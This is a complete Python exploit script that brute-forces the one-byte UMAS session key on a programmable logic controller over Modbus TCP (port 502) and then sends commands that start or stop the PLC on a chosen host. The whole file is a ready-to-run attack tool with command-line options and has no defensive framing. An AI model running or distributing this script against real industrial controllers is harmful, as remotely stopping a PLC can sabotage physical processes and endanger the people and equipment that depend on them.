#!/usr/bin/env python3

__author__ = "Yanis Wang"
__email__ = "mryaniswang@gmail.com"

import argparse
import socket


def exploit(host: str, port: int, command: str) -> None:
    print("[*] Connecting to target")

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    print("[+] Connection established")

    if command == "start":
        print("[*] Starting PLC")
        umas_function_code = b"\x40"
    elif command == "stop":
        print("[*] Stopping PLC")
        umas_function_code = b"\x41"

    for i in range(0x01, 0xff):
        print(f"[*] Try session key 0x{i:02x}", end="\r")

        session_key = i.to_bytes(1, "little")
        data = b"\xff\xff\x00\x00\x00\x06\x01\x5a" + session_key + umas_function_code + b"\xff\x00"
        sock.send(data)
        response = sock.recv(1024)

        if response[9] == 0xfe:
            print(f"[+] Session key 0x{i:02x} found")
            break
    else:
        print("\033[K", end="\r")
        print("[-] Session key not found")
        exit(-1)

    if command == "start":
        print("[+] PLC started")
    elif command == "stop":
        print("[+] PLC stopped")

    print("[+] Done")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", required=True, type=str, default=None, help="Target address")
    parser.add_argument("--port", required=False, type=int, default=502, help="Target port")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("--start", action="store_const", dest="command", const="start", help="Start PLC")
    group.add_argument("--stop", action="store_const", dest="command", const="stop", help="Stop PLC")
    args = parser.parse_args()

    exploit(args.host, args.port, args.command)


if __name__ == "__main__":
    main()